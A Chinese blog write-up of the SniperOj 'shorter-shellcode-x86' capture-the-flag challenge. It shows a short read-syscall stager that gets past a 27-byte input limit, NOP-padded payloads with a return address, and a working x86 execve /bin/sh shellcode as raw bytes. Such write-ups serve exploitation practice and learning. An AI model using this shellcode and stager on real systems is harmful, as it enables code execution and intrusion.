SniperOj-shorter-shellcode-x86

shell-storm 这里可以有一些可以用的shellcode,不过自己写才是biner的骄傲 /奋斗

0x00 不会写shellcode(和一条咸鱼有什么区别/哭)

0x01 这题目前有俩种解法

1. shellcode直接获取shell,这种解法需要较强的shellcode编写能力,因为只能输入27字节,要求shellcode1足够短

2. 先自己构造个read然后扩大读取字节,再获取shell,这样shellcode长度就不是问题了

0x02 我选择的是第二种,完全是因为自己不会写shellcode。/气哭

1.先构造read

# read_asm
shellcode = asm("mov al, 0x3")
shellcode += asm("add cl, 0xc")
shellcode += asm("mov dl, 0xff")
shellcode += asm("int 0x80")

#read_more
padding = '\x90' * (13-len(shellcode)) payload = shellcode + padding + p32(buf_Addr) Io.send(payload)

2.再获取shell

# system_asm
shellcode1 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f"
shellcode1 += "\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

#get_shell
payload1 = '\x90' * 16 + shellcode1
Io.send(payload1)

3.我犯的一个错误

#get_shell
payload1 = '\x90' * 13 + p32(buf_Addr + 13 + 4) + shellcode1
Io.send(payload1)

因为之前构造的read已经把EIP指向了栈,所以第二次不需要再覆盖函数返回地址,就可以直接指向shellcode。感谢re0x6d大佬耐心指导,

 

posted @ 2017-05-29 00:07  五千年木  阅读(797)  评论(0编辑  收藏  举报